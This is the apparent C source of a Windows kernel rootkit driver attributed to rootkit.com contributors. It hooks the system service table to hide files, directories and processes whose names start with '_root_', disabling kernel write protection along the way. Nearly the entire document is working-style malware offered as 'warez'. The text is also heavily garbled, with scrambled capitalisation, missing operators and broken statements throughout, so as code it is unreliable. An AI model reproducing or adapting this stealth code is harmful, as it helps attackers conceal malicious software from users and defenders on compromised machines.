// Basic Rootkit That Hides Files, Directories, and Processes
/ / -------------------------------------------------------------------------------------------- ------------
// v0.1 - Initial, Greg Hoglund (Hoglund@rootkit.com)
// v0.2 - Direntry struct fixed, b00lean (b00lean@rootkit.com)
// v0.7 - hidden file in first call to findfirstfile fix, j0ep@rootkit.com
// xp serviceDescriptable read Only Fix, J0Epub@rootkit.com
// Latter of 2 Hidden Process Fix, J0Epub@rootkit.com
/ / -------------------------------------------------------------------------------------------- ------------
// visit www.rootkit.com for Latest Rootkit Warez
/ / -------------------------------------------------------------------------------------------- ------------
#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"
#define DWORD unsigned long
#define word unsigned short
#define bool unsigned long
#define strhide "_root_"
#define strhidew l "_root_"
#define hidelen (SIZEOF (STRHIDE) - 1)
#define hidelenb (Sizeof (STRHIDEW) - 2)
// Length of process name (Rounded Up to Next Dword)
#define procnamelen 20
// Maximum Length of NT Process Name
#define NT_Procnamelen 16
Ulong gprocessnameoffset;
TypeDef struct _filetime {// ft
DWORD DWLOWDATETIME;
DWORD DWHIGHDATETIME;
} Filetime;
#pragma pack (1)
Typedef struct service {
Unsigned Int * ServiceTableBase;
Unsigned int * service; // buy only in checked build
Unsigned int numberofservices;
Unsigned char * paramtablebase;
} ServicesDescriptAblentry_t, * pserviceDescriptableentRY_T;
#pragma pack ()
__Declspec (DLLIMPORT) ServiceDescriptAblentry_t keserviceDescriptable;
#define systemservice (_function) keserviceDescriptable.serviceTableBase [* (pulong) ((pulong) _function 1)] struct _system_threads
{
Large_integer kernetime;
Large_integer usertime;
Large_integer createtime;
Ulong Waittime;
Pvoid Startaddress;
Client_id clientis;
KPRIORITY PRIORITY
KPRIORITY BASEPRIORITY
Ulong contextswitchcount;
Ulong threadState;
Kwait_reason waitreason;
}
Struct _system_processes
{
Ulong nextentryDelta;
Ulong threadcount;
Ulong reserved [6];
Large_integer createtime;
Large_integer usertime;
Large_integer kernetime;
Unicode_string processname;
KPRIORITY BASEPRIORITY
Ulong processid;
Ulong inheritedFromProcessId;
Ulong handlecount;
Ulong reserved2 [2];
VM_Counters vmcounters;
IO_COUNTERS IOCOUNTERS; // Windows 2000 ONLY
Struct _system_threads throughs [1];
}
#if 0
Typedef enum _wxpfile_information_class {
// end_wdm
FileDirectoryInformation = 1,
FILEFULDIRECTORYINFORMATION, // 2
FilebothDirectoryInformation, // 3
Filebasicinformation, // 4 WDM
FILESTANDARDINFORMATION, // 5 WDM
FILEINTERNALINFORMATION, / / 6
Fileeainformation, // 7
FileAccessInformation, // 8
FileNameInformation, // 9
FilerenameInformation, // 10
FileLinkInformation, // 11
FilenamesInformation, // 12
FiledisPositionInformation, // 13
FilePositionInformation, // 14 WDM
FILEFULLEAINFORMATION, / / 15FILEMODEINFORMATION, / / 16
FileAlignmentInformation, // 17
FileAllInformation, // 18
FileAlocationInformation, // 19
Filendoffileinformation, // 20 WDM
FileAlternatenameInformation, // 21
FILESTREAMINFORMATION, / / 22
FilePipeInformation, // 23
FilePipeLocalInformation, // 24
FilepiperemoteInformation, // 25
FileMailslotQueryInformation, // 26
FileMailslotsetInformation, // 27
FilecompressionInformation, // 28
FileObjectidInformation, // 29
FileCompletioninformation, // 30
FilemoveClusterInformation, // 31
FilequotainFormation, // 32
FileReparsepointInformation, // 33
FilenetworkopenInInformation, // 34
FileAttributeTaginformation, // 35
FileTrackingInformation, // 36
FileIDBothDirectoryInformation // 37
FileidFullDirectoryInformation, // 38
FileValidDatalengthInformation, // 39
FileshortNameInformation, // 40
FileMaximumization
// begin_wdm
} WXPFILE_INFORMATION_CLASS, * PWXPFILE_INFORMATION_CLASS;
#ENDIF
Typedef struct _file_directory_information {
Ulong nextentryoffset;
Ulong fileIndex;
Large_integer credectime;
Large_integer lastaccesstime;
Large_integer lastwritetime;
Large_integer changetime;
Large_integer endoffile;
Large_integer allocationsize;
Ulong FileAttributes;
Ulong filenamelength;
Wchar filename [1];
} File_directory_information, * pfile_directory_information;
Typedef struct _file_full_dir_information {
Ulong nextentryoffset;
Ulong fileIndex;
Large_integer credectime;
Large_integer lastaccesstime;
Large_integer lastwritetime;
Large_integer changetime;
Large_integer endoffile;
Large_integer allocationsize; ulong fileattribute;
Ulong filenamelength;
Ulong Easize;
Wchar filename [1];
} File_full_dir_information, * pfile_full_dir_information;
Typedef struct _file_id_full_dir_information {
Ulong nextentryoffset;
Ulong fileIndex;
Large_integer credectime;
Large_integer lastaccesstime;
Large_integer lastwritetime;
Large_integer changetime;
Large_integer endoffile;
Large_integer allocationsize;
Ulong FileAttributes;
Ulong filenamelength;
Ulong Easize;
Large_integer fileid;
Wchar filename [1];
} File_id_ffull_dir_information, * pfile_id_ffull_dir_information;
Typedef struct _file_both_dir_information {
Ulong nextentryoffset;
Ulong fileIndex;
Large_integer credectime;
Large_integer lastaccesstime;
Large_integer lastwritetime;
Large_integer changetime;
Large_integer endoffile;
Large_integer allocationsize;
Ulong FileAttributes;
Ulong filenamelength;
Ulong Easize;
Cchar ShortnaMelength;
Wchar ShortName [12];
Wchar filename [1];
} File_both_dir_information, * pfile_both_dir_information;
TYPEDEF STRUCT _FILE_ID_BOTH_DIR_INFORMATION {
Ulong nextentryoffset;
Ulong fileIndex;
Large_integer credectime;
Large_integer lastaccesstime;
Large_integer lastwritetime;
Large_integer changetime;
Large_integer endoffile;
Large_integer allocationsize;
Ulong FileAttributes;
Ulong filenamelength;
Ulong Easize;
Cchar ShortnaMelength;
Wchar ShortName [12];
Large_integer fileid;
Wchar filename [1];
} File_id_both_dir_information, * pfile_id_both_dir_information;
Typedef struct _file_names_information {
Ulong nextentryoffset;
Ulong fileIndex;
Ulong filenamelength;
Wchar filename [1];
} File_names_information, * pfile_names_information;
NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryFile (in Handle Hfile,
In Handle HEVENT OPTIONAL,
In Pio_APC_Routine IoapCroutine Optional,
In Pvoid IoapcContext Optional,
OUT PIO_STATUS_BLOCK PIOSTATUSBLOCK,
Out pvoid fileinformationBuffer,
In Ulong FileinformationBufferlength,
IN file_information_class fileinfoclass,
In Boolean Breturnonlyneentry,
In Punicode_String Pathmask Optional,
In Boolean BrestartQuery
);
NTSYSAPI
NTSTATUS
NTAPI ZWQUERYSYSTEMINFORMATION
In Ulong SystemInformationClass,
In Pvoid SystemInformation,
In Ulong SystemInformationLength,
OUT Pulong ReturnLength;
Typedef ntstatus (* zwQuerydirectoryFile)
Handle Hfile,
Handle HEVENT,
PIO_APC_ROUTINE IOAPCROUTINE,
PVOID IOAPCCONTEXT,
PIO_STATUS_BLOCK PIOSTATUSBLOCK,
Pvoid FileinformationBuffer,
Ulong fileinformationBufferLength,
FILE_INFORMATION_CLASS FILEINFOCLASS,
Boolean BreturnonlyNeentry,
Punicode_string pathmask,
Boolean BRESTARTQUERY
);
Typedef NTSTATUS (* ZwQuerySystemInformation)
Ulong SystemInformationClass,
PVOID SystemInformation,
Ulong SystemInformationLength,
Pulong ReturnLength
);
ZwQuerySystemInformation OldzwQuerySystemInformation;
ZWQueryDirectoryFile OldzwQueryDirectoryFile;
Void getProcessNameOffset ()
{
Peprocess curproc;
INT I;
Curproc = psgetcurrentprocess ();
For (i = 0; i <3 * Page_size; i )
{
IF (! "," system ", (pchar) Curproc i, Strlen (" System "))))))))
{
GProcessNameOffset = i;
}
}
}
Bool getProcessName (Pchar Thename)
{
Peprocess curproc;
Char * nameptr;
Ulong i;
KIRQL Oldirql;
IF (gprocessnameoffset)
{
Curproc = psgetcurrentprocess ();
Nameptr = (PCHAR) CURPROC GPROCESSNAMEOFFSET;
STRNCPY (THENAME, NAMEPTR, NT_PROCNAMELEN); Thename [nt_procnamelen] = 0; / * NULLAT End * /
Return True;
}
Return False;
}
DWORD getDirentrylentnext
In Pvoid FileinformationBuffer,
IN file_information_class fileinfoclass
)
{
DWord Result = 0;
Switch (fileInfoclass) {
Case FileDirectoryInformation:
Result = ((pfile_directory_information) fileinformationBuffer -> NEXTENTRYOFFSET;
Break;
Case FileFullDirectoryInformation:
Result = ((pfile_full_dir_information) fileinformationBuffer -> nextentryoffset;
Break;
Case FileidFullDirectoryInformation:
Result = ((pfile_id_ffull_dir_information) fileinformationBuffer -> nextentryoffset;
Break;
Case FilebothDirectoryInformation:
Result = ((pfile_both_dir_information) FileinformationBuffer -> NEXTENTRYOFFSET;
Break;
Case FileIDBothDirectoryInformation:
Result = ((pfile_id_both_dir_information) FileinformationBuffer -> NEXTENTRYOFFSET;
Break;
Case FileNamesinformation:
Result = ((pfile_names_information) FileinformationBuffer -> NEXTENTRYOFFSET;
Break;
}
Return Result;
}
Void setDirentrylentnext
In Pvoid FileinformationBuffer,
IN file_information_class fileinfoclass,
In dword value
)
{
Switch (fileInfoclass) {
Case FileDirectoryInformation:
((Pfile_directory_information) fileinformationBuffer -> NEXTENTRYOFFSET = VALUE
Break;
Case FileFullDirectoryInformation:
((Pfile_full_dir_information) fileinformationBuffer -> next = value;
Break;
Case FileidFullDirectoryInformation:
((Pfile_id_full_dir_information) fileinformationBuffer -> NEXTENTRYOFFSET = VALUE
Break;
Case FilebothDirectoryInformation:
((Pfile_both_dir_information) FileinformationBuffer -> NEXTENTRYOFFSET = VALUE; Break;
Case FileIDBothDirectoryInformation:
((Pfile_id_both_dir_information) FileinformationBuffer -> NEXTENTRYOFFSET = VALUE
Break;
Case FileNamesinformation:
((Pfile_names_information) FileinformationBuffer -> NEXTENTRYOFFSET = VALUE
Break;
}
}
PVOID GETDIRENTRYFILENAME
In Pvoid FileinformationBuffer,
IN file_information_class fileinfoclass
)
{
Pvoid Result = 0;
Switch (fileInfoclass) {
Case FileDirectoryInformation:
Result = (pvoid) & (pfile_directory_information) fileinformationBuffer -> filename [0];
Break;
Case FileFullDirectoryInformation:
Result = (pvoid) & (pfile_full_dir_information) fileinformationBuffer -> filename [0];
Break;
Case FileidFullDirectoryInformation:
Result = (pvoid) & (pfile_id_full_dir_information) fileinformationBuffer -> filename [0];
Break;
Case FilebothDirectoryInformation:
Result = (pvoid) & (pfile_both_dir_information) FileinformationBuffer -> filename [0];
Break;
Case FileIDBothDirectoryInformation:
Result = (pvoid) & (pfile_id_both_dir_information) FileinformationBuffer -> filename [0];
Break;
Case FileNamesinformation:
Result = (pvoid) & (pfile_names_information) FileinformationBuffer -> filename [0];
Break;
}
Return Result;
}
Ulong getDirentryfilelength
In Pvoid FileinformationBuffer,
IN file_information_class fileinfoclass
)
{
Ulong result = 0;
Switch (fileInfoclass) {
Case FileDirectoryInformation:
Result = (ulong) (pfile_directory_information) FileinformationBuffer -> FileNameLength;
Break;
Case FileFullDirectoryInformation:
Result = (Ulong) FileinformationBuffer -> FileNameLength; Break;
Case FileidFullDirectoryInformation:
Result = (ULONG) (pfile_id_ffull_dir_information) FileinformationBuffer -> FileNameLength;
Break;
Case FilebothDirectoryInformation:
Result = (ULONG) FileinformationBuffer -> FileNameLength;
Break;
Case FileIDBothDirectoryInformation:
Result = (ulong) (pfile_id_both_dir_information) FileinformationBuffer -> FileNameLength;
Break;
Case FileNamesinformation:
Result = (ulong) ((pfile_names_information) FileinformationBuffer -> FileNameLength;
Break;
}
Return Result;
}
NTSTATUS NewzwQueryDirectoryFile
In Handle Hfile,
In Handle HEVENT OPTIONAL,
In Pio_APC_Routine IoapCroutine Optional,
In Pvoid IoapcContext Optional,
OUT PIO_STATUS_BLOCK PIOSTATUSBLOCK,
Out pvoid fileinformationBuffer,
In Ulong FileinformationBufferlength,
IN file_information_class fileinfoclass,
In Boolean Breturnonlyneentry,
In Punicode_String Pathmask Optional,
In Boolean BrestartQuery
)
{
NTSTATUS RC;
CHAR APROCESSNAME [procnamelen];
GetProcessName (AprocessName);
// DBGPrint ("Rootkit: NewzwQueryDirectoryFile () from% s / n", AprocessName);
RC = ((zwquerydirectoryfile) (OldzwQueryDirectoryFile))
Hfile, / * this is the directory handle * /
HEVENT,
IOAPCROUTINE,
IOAPCCONTEXT,
Piostatusblock,
FileInformationBuffer,
FileInformationBufferlength,
FileInfoclass,
BreturnonlyoneTry,
Pathmask,
BRESTARTQUERY);
IF (NT_Success (RC) &&
(FileInfoclass == fileDirectoryinformation ||
FileInfoclass == filefuldirectoryinformation ||
FileInfoclass == fileidfulldirectoryInformation ||
Fileinfoclass == filebothdirectoryInformation ||
FileInfoclass == fileidbothDirectoryInformation ||
FileInfoclass == filenamesinformation)
)
{
IF (0 == MEMCMP (AprocessName, Strhide, Hidelen)
{
DBGPRINT ("Rootkit: Detected File / Directory Query from _root_ Process / N");
}
Else
{
PVOID P = fileinformationBuffer;
PVOID PLAST = NULL;
Bool Blastone;
DO
{
Blastone =! getDirentrylentonext (p, fileinfoclass);
// Compare Directory-name prefix with '_root_' to decide if to hide or not.
IF (p, fileinfoClass> = hidelenb) {
IF (RTLCompareMemory, (P, FileInfoclass), (PVOID) strHidew, Hidelenb) == hidelenb)
{
IF (Blastone)
{
IF (p == fileinformationBuffer)
{
IF (! BRETURNONEENTRY)
Rc = status_no_more_files;
Else
{
// if we are only returning one entry kiln there could be
// More Files E.G. FindnextFile SO CALL AGAIN
// with Same Params - The Directory File Pointer Would Have
// Moved Forward SO it Should Get the next file in the list
RC = ((zwquerydirectoryfile) (OldzwQueryDirectoryFile))
Hfile, / * this is the directory handle * /
HEVENT,
IOAPCROUTINE,
IOAPCCONTEXT,
Piostatusblock,
FileInformationBuffer,
FileInformationBufferlength,
FileInfoclass,
BreturnonlyoneTry,
Pathmask,
BRESTARTQUERY);
IF (NT_Success (RC))
{
// Success - So Setur Current File Pointer and Skip
// the rest of the code and start the same loop again
P = fileinformationBuffer;
CONTINUE;
}
Else
Break; // failed SO Break and return status to Caller
}
}
Else SetDirentrylentnext (Plast, FileInfoclass, 0);
Break;
}
Else
{
INT IPOS = (Ulong) p) - (Ulong) FileinformationBuffer; INT ILEFT = (DWORD) FILEINFORMATIONBUFFERLENGTH - IPOS - GetDirentrylentnext (p, fileinfoclass);
RTLCopyMemory (P, (PVOID) ((char *) p getDirentrylentnext (p, fileInfoclass), (dword) ileft);
CONTINUE;
}
}
}
Plast = P;
P = ((char *) P getDirentrylentonext (p, fileinfoclass);
} while (!!);
}
}
Return (RC);
}
NTSTATUS NewzwQuerySystemInformation
In Ulong SystemInformationClass,
In Pvoid SystemInformation,
In Ulong SystemInformationLength,
OUT Pulong ReturnLength
)
{
NTSTATUS RC;
CHAR APROCESSNAME [procnamelen];
GetProcessName (AprocessName);
// DBGPrint ("Rootkit: NewzwQuerySystemInformation () from% s / n", AprocessName);
RC = ((zwQuerySystemInformation) (OldzwQuerySystemInformation))
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength;
IF (NT_Success (RC))
{
// Double Check The Process Name, IF IT Starts W / '_Root_' Do Not
// Apply Any Stealth
IF (0 == Memcmp (AproCessName, "_root_", 6))
{
DBGPRINT ("Rootkit: detected system query from _root_ process / n");
}
ELSE IF (5 == SystemInformationClass)
{
// this is a process list, Look for Process Names That Start with
// '_root_'
Struct _system_processes * curr = (struct _system_processes *) SystemInformation;
Struct _system_processes * prev = null;
DBGPrint ("Rootkit: NewzwQuerySystemInformation () from% S / N", APROCESSNAME
While (Curr)
{
// struct _system_processes * next = ((char *) Curr = curr-> nextentryDelta);
Bool BMOD = FALSE;
ANSI_STRING process_name;
RTLUNICODESTRINGTOANSISTRING (& Process_name, & (Curr-> ProcessName), TRUE); IF (((0
{
IF (0 == MEMCMP (Process_name.buffer, "_root_", 6))
{
//
// We Have a Winner!
//
Char _output [255];
CHAR _PNAME [255];
MEMSET (_PNAME, 0, 255);
Memcpy (_pname, process_name.buffer, process_name.length);
Sprintf (_output,
"Rootkit: Hiding Process, PID:% D / TNAME:% S / R / N",
Curr-> Processid,
_PNAME);
DBGPRINT (_OUTPUT);
IF (prev)
{
IF (Curr-> NEXTENTRYDELTA)
{
// make Prev Skip this entry
Prev-> NEXTENTRYDELTA = CURR-> NEXTENTRYDELTA;
BMOD = true; // flag to say what we have modified
}
Else
{
// We are last, so make prev the end
Prev-> NEXTENTRYDELTA = 0;
}
}
Else
{
IF (Curr-> NEXTENTRYDELTA)
{
// We are first in the list, SO Move It Forward
(char *) Systeminformation = curr-> nextentryDelta;
}
Else
{
// We are the only process!
Systeminformation = NULL;
}
}
}
}
RTLFreeansString (& Process_name);
Prev = Curr;
// this illustrates (i hope) What happenes to next entry delta when it is more Than More Than
// One Hidden Process Following After One Another.
// Before the FIX:
// Test1.exe -----------
// _root_test1.exe ----- | ---
// _root_test2.exe <---- | |
// Test2.exe <------------ |
// after FIX:
// Test1.exe -----------
// _root_test1.exe |
// _root_test2.exe |
// Test2.exe <----------
IF (! bmod)
Prev = Curr; // ONLY Modify Previous IF this Was Not a hidden entry
// Otherwise if the next entry is supposed to beh hidden
// Then IT Wont
IF (Curr-> NEXTENTRYDELTA) (CHAR *) Curr = Curr-> NEXTENTRYDELTA); Else Curr = NULL;
}
}
}
Return (RC);
}
NTSTATUS
Onstubdispatch
In PDEvice_Object DeviceObject,
In PIRP IRP
)
{
IRP-> iostatus.status = status_success;
IOCOMPLETEREQUEST (IRP,
IO_NO_INCREMENT
);
Return IRP-> iostatus.status;
}
Void Onunload (in PDRIVER_Object DriverObject)
{
DBGPrint ("rootkit: onunload caled / n");
_asm
{
CLI / / DISSABLE INTERRUPT
Mov Eax, Cr0 // Move CR0 Register INTO EAX
And Eax, NOT 10000H // Disable WP bit
MOV CR0, EAX / / WRITE Register Back
}
(ZwQueryDirectoryFile) = OldzwQueryDirectoryFile;
(ZWQuerySystemInformation) = OldzwQuerySystemInformation;
_asm
{
Mov Eax, Cr0 // Move CR0 Register INTO EAX
OR EAX, 1000H // Enable WP Bit
MOV CR0, EAX / / WRITE Register Back
STI // enable interrupt
}
}
NTSTATUS DRIVERENTRY (in PDRIVER_OBJECT THEDRIVEROBJECT, In Punicode_String ThegegistryPath)
{
INT I;
DBGPRINT ("My Driver Loaded!");
GetProcessNameOffset ();
// register a dispatch function
For (i = 0; i { THEDRIVEROBJECT-> Majorfunction [i] = onstubdispatch; } THEDRIVEROBJECT-> Driverunload = onunload; // Save Old System Call Locations Ilzwquerydirectoryfile = (zwQuerydirectoryFile); Oldzwquerysysteminformation = (zwQuerySystemInformation); _asm { CLI / / DISSABLE INTERRUPT Mov Eax, Cr0 // Move CR0 Register INTO EAXAND EAX, NOT 10000H / / DISABLE WP BIT MOV CR0, EAX / / WRITE Register Back } SystemService (ZWQueryDirectoryFile) = NewzwQueryDirectoryFile; "SystemSystem (ZWQuerySystemInformation) = newzwQuerySystemInformation; _asm { Mov Eax, Cr0 // Move CR0 Register INTO EAX OR EAX, 1000H // Enable WP Bit MOV CR0, EAX / / WRITE Register Back STI // enable interrupt } Return status_success; }